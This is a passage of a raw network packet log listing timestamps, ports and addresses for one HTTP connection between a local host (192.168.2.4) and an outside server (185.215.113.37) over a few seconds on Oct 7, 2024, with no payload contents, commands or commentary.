Oct 7, 2024 21:19:07.670202017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670233011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670233965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670253038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670279980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670289993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670325041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670340061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670358896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670380116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670393944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670406103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670428038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670454025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670466900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670479059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670499086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670515060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670546055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670819998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670872927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670874119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670908928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670922995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670957088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.671049118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.671082973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.671098948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.671118975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.671128988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.671164989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.671802998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.671912909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.671941042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.671962976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.671966076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.672002077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.672013998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.672035933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.672049046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.672070980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.672084093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.672106981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.672118902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.672153950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.687705040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.687767029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.687788010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.687827110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.727473021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.727516890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.727551937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.727591038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.727621078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.727650881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.727802038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793066025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793119907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793196917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793227911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793256998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793256998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793256998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793262005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793303013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793303013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793334007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793339014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793366909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793369055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793395996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793405056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.793421984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.793452024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.794158936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.794194937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.794220924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.794229984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.794244051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.794265032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.794277906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.794315100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.795847893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.795901060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.795906067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.795938015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.795949936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.795986891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796350956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796385050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796406031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796421051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796432018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796468019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796473980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796508074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796526909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796541929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796554089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796590090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796593904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796627045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796644926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796659946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796683073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796694994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796706915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796727896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796742916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796761990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.796781063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.796808004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.853626013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.853678942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.853715897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.853770971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.853840113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.853840113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.856000900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917222977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917277098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917315960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917347908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917383909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917419910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917419910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917419910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917419910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917427063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917459965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917465925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917495012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917498112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917525053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917547941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917557001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917586088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.917632103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.917654037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.918579102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.918613911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.918646097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.918668032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.918673038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.918703079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.918720007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.918740034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.918757915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.918787956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919332981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919368029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919398069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919419050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919449091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919482946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919508934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919532061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919537067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919570923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919589043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919605970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919632912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919640064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919658899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919688940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919756889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919806957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919811010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919842005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919862032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919877052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919895887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919913054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.919924974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.919960976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.920079947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.920114040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.920139074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.920145988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.920161963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.920192957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.976752996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.976804972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.976843119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.976878881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.976941109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.976941109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.976941109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.976941109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.042496920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042570114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042607069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042639971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042675018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042706966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042742014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.042781115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.042781115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.042781115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.042781115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.042857885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.653163910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.653228998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:08.658672094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.658714056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.658742905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.658776045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:08.658803940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:09.362334013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:09.362437010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:09.468909025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:09.468947887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:09.474221945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:09.474292994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:09.474342108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:10.186948061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:10.187046051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:10.206829071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:10.212095022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:10.923826933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:10.923909903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:11.865719080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:11.870850086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:12.575113058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:12.575191975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:12.857803106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:12.863117933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.072953939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.072999954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.073024035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.073040009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.073050976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.073084116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.073730946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.073772907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.077873945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.077891111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.077907085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.077923059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.077924967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.077943087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.077944994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.077964067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.077977896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.079025030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.079075098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.082673073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.082711935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.082793951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.082876921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.082936049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.084218979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.084279060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.198587894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.198647022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.198684931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.198683023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.198724031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.198729038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.198736906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.198769093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.203459978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.203496933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.203522921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.203530073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.203557014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.203574896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.203732014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.203785896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.208229065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.208265066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.208282948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.208297014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.208304882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.208388090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.208395958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.208483934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.208594084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.208642960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.213278055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.213313103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.213336945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.213346958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.213361025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.213387966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.213941097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.213974953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.213988066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.214025021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.218240023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.218272924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.218286991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.218314886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.218692064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.218729019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.218744993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.218808889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.218820095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.218862057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.223217010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.223289013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.223301888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.223336935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.335913897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.335990906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336030006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336047888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336059093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336080074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336093903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336114883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336123943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336149931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336167097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336183071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336194038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336218119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336225986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336251974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336261988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336294889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336313963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336363077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336370945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336395979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336410999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336436987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336441040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336472988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336481094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336507082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:13.336519003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:13.336543083 CEST	80	49730	185.215.113.37	192.168.2.4
